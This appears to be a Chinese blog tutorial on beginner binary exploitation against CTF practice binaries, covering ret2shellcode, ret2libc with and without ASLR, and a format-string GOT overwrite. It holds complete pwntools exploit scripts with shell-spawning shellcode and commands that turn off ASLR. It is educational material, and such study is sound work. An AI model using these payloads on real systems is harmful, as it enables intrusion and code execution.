pwn实践记录--rop入门
前言
回过来记录入门历程主要是为了复习巩固pwn的分析思路。因为写的很详细,篇幅很长,未写完的会第二天写。全部内容包括:ret2shellcode、ret2libc(绕过NX)、ret2libc(绕过ASLR)、格式化字符串漏洞。若理解有错误,请在评论区指正。
本次回顾涉及到的elf文件以及exp都能在这里获取到。 环境准备:linux(32位程序运行环境)、IDA Pro、gdb插件、python+pwntools、不屈意志:) 知识回顾:操作系统预防二进制漏洞的保护机制、elf文件组成、栈机制、大小端。
0x00 return2shellcode
文件:level1 习惯性查看保护机制:
很好全关,接下来利用IDA Pro F5大法查看反汇编结果:
发现该二进制文件main函数入口直接调用vulnerable_function()函数,然后调用了write函数。这里提个醒,反汇编遇到write()、read()、puts()、gets()一定留个心眼,这些函数对任意变量的处理都可能造成栈溢出,不过本题输出的是字符串常量,忽略,直接查看vulnerable_function()。
看到该函数创建了个局部变量(数组指针),位置距离ebp-0x88的位置,也就是距离基指针136字节位置。read()函数读取了该函数的局部变量,上文提到read()函数不检查读取限制,并且局部变量存放在栈中,因此我们可以构造payload长度=136+4(存储ebp指针地址大小)+4(返回地址大小), 来改变函数返回地址。考虑到PIE已关,并且140字节的长度足够存储一个shellcode执行execve("/bin/sh")。因此我们从payload的开始位置存shellcode,剩下的用’A’补全,返回地址指向payload起始地址,也就是局部变量的起始地址。但是地址我们还不知道,因为它是在栈里面加载的。考虑到栈的动态变化,IDAPro的静态分析无法展示(它的动态分析比较麻烦),接下来用gdb配合peta插件进行动态分析:
在入口函数下断点:
run/start 执行到main函数入口停下:
依次
next next
在汇编下一步执行vulnerable_function()函数的时候,step命令进入函数内部:
进入之后,我们就能看到该函数的栈情况了
接下来依次next 执行到read()函数的时候,象征性输入字符:
可以看到栈区0xffffd060地址上存放了该局部变量(上面的0xffffd060是文字常量区(常量池)范围内的地址,主要存储字符串常量),至此所有的分析工作就完成了。
接下来最最最关键的地方来了,很多初学者都会落进去的坑:其实gdb调试和实际执行程序的栈位置相比会有些偏移,为了提供buf更精确的位置,我们需要开启core dump功能来收集实际运行环境下的变量分布情况。 暂时开启core dump命令
ulimit -c unlimited
执行level1:
./level1
输入字符使栈溢出。
可以看到目录下多出来了个core文件。
接下来用gdb 配合core文件再次调试level1
然后输入 x $esp-144
查看buf的位置, 这里的esp指的是实际环境下程序执行出错的时候的esp, 执行返回命令时,esp退回到main函数的栈顶,因此buf的位置 = esp指针存的位置 - payload的长度(144)。
得到buf实际地址:0xffffd0c0
接下来我们就能安心的写exp了。
from pwn import *
p = process('./level1')
ret = 0xffffd0c0
shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
shellcode += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
shellcode += "\x0b\xcd\x80"
payload = shellcode + 'A' * (140 - len(shellcode)) + p32(ret)
p.send(payload)
p.interactive()
效果如下:
0x01 ret2libc(绕过NX)
文件:level2
保护:NX
查看保护机制:
PIE(ASLR)是系统保护,有时查看文件保护机制虽然显示enabled , 但其实是开着的,保险起见,我们可以用:
cat /proc/sys/kernel/randomize_va_space
或者多次ldd <filename>查看地址偏移情况:
ldd level2
修改用重定向就行了:
sudo -s
echo 0 > /proc/sys/kernel/randomize_va_space
NX开启,栈数据段没有执行权限,因此不能将shellcode存在栈上。考虑到PIE(ASLR)没开,libc动态链接库中有execve()函数,并且存在"/bin/sh"字符串,接下来的思路就是覆盖返回地址,执行libc中的execve()或system(), 并将指向"/bin/sh"的指针作为函数的参数。
用IDA Pro打开,反汇编并整理成C代码,发现代码和上一题是一样的,知识NX没开;
下面要做的工作是:调试level2,在libc动态链接库载入之后,找到两个系统函数和"/bin/sh"的地址。
在main()处设断点后,运行。
此时libc动态库已经载入了,然后用print 和 find命令分别查找函数和字符串的地址:
下面是这道题的关键,传递的"/bin/sh"应该放在payload的哪个位置?
答:在返回地址的下一个高地址位。
这个问题我之前在调试信息里分析了好久,终于找到了比较合理的解释(后来才发现是我栈机制没完全看明白。。)。
我们先借助main()函数内部的write()调用过程来看看它的参数传递过程:
容易看出,执行call 0x8048340 <write@plt> (plt下一题会讲到) 后,栈中存进了该汇编指令的下一个指令的地址,也就是write()的返回地址。细看,又会发现write函数的三个参数,在调用call指令之前就已经压栈了,压栈顺序是参数从右到左的顺序。对应的汇编指令如下:
0x804843b <main+14>: mov DWORD PTR [esp+0x8],0xd
0x8048443 <main+22>: mov DWORD PTR [esp+0x4],0x8048530
0x804844b <main+30>: mov DWORD PTR [esp],0x1
因此可以这样总结:函数参数先逆序入栈,接下来才标记返回地址和执行被调用函数汇编指令。
分析完后,看看execve()和system()的传参要求:
int execve(const char *filename, char *const argv[], char *const envp[]);
int system(const char * string);
发现system只要求一个文件名字符串指针,本着谁参数少欺负谁的态度,盘它!
构造payload: payload = 'A' *140 + sys_addr + 'A' * 4 + binsh_addr
注意!这里’A’ * 4 是因为返回地址是直接到system函数内部的,没有经过call <system@plt>, 返回地址未压栈, 但是栈不知道,它还会认为有个返回地址,因此这里的‘A’ * 4是填补返回地址用的,如果你还想在返回时做进一步的事情,可以写个确切的地址。
这里说一句:这里不用像上一题产生core dump ,因为返回地址不在栈中,没有地址偏移影响。 exp如下:
from pwn import *
p = process('./level2')
#p = remote('127.0.0.1',10002)
sys_addr=0xf7e138b0
binsh_addr=0xf7f5e42d
payload = 'A'*140 + p32(sys_addr) + 'A'*4 + p32(binsh_addr)
p.send(payload)
p.interactive()
结果如下:
0x02 ret2libc(绕过ASLR/PIE)
文件:还是level2 保护:ASLR NX 下面我们把系统ASLR/PIE防护开启:
sudo -s
echo 2 > /proc/sys/kernel/randomize_va_space
这里就不能像上题那样将返回地址覆盖成libc库函数的地址了,因为每次执行libc的地址会有一定的偏移,但我们仍然能定位到libc库函数的地址。具体怎么做呢?
level2内的vulnerable_function()内调用read函数时,执行了call <read@plt>指令,plt是什么呢?这里有详细的解释。文章内我只简单解释。。
我们先读取level2文件的elf结构:
发现.plt段在level2文件内,和程序段.text是分开的。
这里就不放图了,不知道为什么我step进call <write@plt>的时候直接跳到了write汇编程序地址,立个flag, 有空补上。
简单的说,plt是个跳转表 跳转到got表中read函数地址指针所在的区域,然后在got表内再跳转,最终才会跳转到write函数的地址。这种链接采用的是延迟绑定技术,执行第一个libc库函数时,libc才会链接到到level2,由于我们在vulnerable_function()中执行了read(),write()地址也就固定了。(整个过程我也不是很清楚,如果你想深入了解还得多看看其他资料)。
下面说说绕过ASLR/PIE的思路: 上文提到:调用libc库函数采用延迟绑定技术,执行第一个libc库函数时,libc才会链接到到level2,由于我们在vulnerable_function()中执行了read(),write()地址也就固定了。因此第一步是先获取到write函数真正的地址,记为write_addr。由于write()和system()在libc中的相对位置是固定的,也就是说它们之间的偏移量固定,因此我们就可以先事先获取偏移量,然后借助read函数作为跳板,就能得到system()的地址sys_addr了。同样的"/bin/sh"的地址也能固定,binsh_addr也出来了。 exp如下:
from pwn import *
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
elf = ELF('level2')
p = process('./level2')
#p = remote('127.0.0.1', 10003)
plt_write = elf.symbols['write']
print 'plt_write= ' + hex(plt_write)
got_write = elf.got['write']
print 'got_write= ' + hex(got_write)
vulfun_addr = 0x08048404
print 'vulfun= ' + hex(vulfun_addr)
payload1 = 'a'*140 + p32(plt_write) + p32(vulfun_addr) + p32(0x1) +p32(got_write) + p32(0x4)
print "\n###sending payload1 ...###"
p.send(payload1)
print "\n###receving write() addr...###"
write_addr = u32(p.recv(4))
print 'write_addr=' + hex(write_addr)
print "\n###calculating system() addr and \"/bin/sh\" addr...###"
system_addr = write_addr - (libc.symbols['write'] - libc.symbols['system'])
print 'system_addr= ' + hex(system_addr)
binsh_addr = write_addr - (libc.symbols['write'] - next(libc.search('/bin/sh')))
print 'binsh_addr= ' + hex(binsh_addr)
payload2 = 'a'*140 + p32(system_addr) + p32(vulfun_addr) + p32(binsh_addr)
print "\n###sending payload2 ...###"
p.send(payload2)
p.interactive()
效果如下:
0x03格式化字符串漏洞
文件:pwne (2017湖湘杯pwn200赛题) 保护:ASLR NX printf函数的格式化字符串常见的有 %d,%f,%c,%s(用于读取内存数据),%x(输出16进制数,前面没有0x),%p或%#x(输出16进制数,前面带有0x);%n是一个不经常用到的格式符,它的作用是把前面已经打印的长度写入某个内存地址,用于修改内存,除了%n,还有%hn,%hhn,%lln,分别为写入目标空间4字节,2字节,1字节,8字节。
综上,格式化字符可以分为两类:读取数据格式符和写入数据格式符。
这里说一下,不是所有C编译器都支持%n, 我在windows上的codeblocks配的是C99标准的gcc编译器,执行无法靠%n写入数据,在这里我也有点迷惑,出题的人到底是用的什么编译器。。
既然本地不一定能做到,那就用现成的题目文件吧。
下面我们用这个文件看一下利用格式化字符串漏洞读取数据的方法:
我们看到,第七个%x取值是0x41414141, 也就是AAAA的ascii码,造成内存泄漏了。
解释:该文件GET YOUR NAME:后, 执行的是printf(str)。
也就是说,它把我们的输入当格式化字符串执行了。
我们%x取的其实是寄存器中的内容,寄存器里面又存什么呢?
是printf除格式化字符串外的参数,但是这里没有输入参数,也就是说,寄存器的内容其实是垃圾值。
那又为什么在第七个%x取值位置输出了AAAA呢?
因为调用printf后,首先再把格式化字符串压栈,再把参数地址存进寄存器和栈中,再把所有能用的寄存器压栈,最后存进了个格式化字符串指针(用来指向格式化字符串地址,检索格式符),我这个ubuntu linux内寄存器地址加空白地址一共六个四字节空间,第七个取到的就是格式化字符串中的AAAA了。
栈图(网上找的)如下:
墨绿是寄存器地址,蓝色是空白位或者额外的存储参数空间,绿色是格式化字符串内容,橙色是格式化字符串指针。
夸张的是,%x能泄露栈上高地址位的内容,%n的修改内存的功能,能将更改任意函数的调用。这两者结合简直无法无天。
下面进入题目分析环节。。。:
IDA pro分析:
这道题了里,我们先利用%$7x(取第7个四字节数), 返回puts函数链接后的地址。然后用%n改变atoi的调用,使它的调用地址指向system的函数地址(用偏移量算),输入的age没经过类型检查,直接换成"/bin/sh", 大功告成。
exp:
from pwn import *
elf = ELF('pwne')
# conn=remote('ip',port)
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
#libc=ELF('./libc.so.6')
p = process('./pwne')
p.recvuntil('[Y/N]\n')
p.sendline('Y')
p.recvuntil('NAME:\n\n')
p.sendline(p32(elf.got['puts']) + '%7$s')
p.recvuntil('WELCOME \n')
puts_addr=p.recv()[4:8]
# print u32(put_addr)
system_addr = libc.symbols['system'] - libc.symbols['puts'] + u32(puts_addr)
atoi_got_addr = elf.got['atoi']
p.sendline('17')
p.recvuntil('[Y/N]\n')
p.sendline('Y')
p.recvuntil('NAME:\n\n')
p.sendline(fmtstr_payload(7, {atoi_got_addr: system_addr}))
p.recvuntil('GET YOUR AGE:\n\n')
p.sendline('/bin/sh\x00')
p.interactive()
效果如下: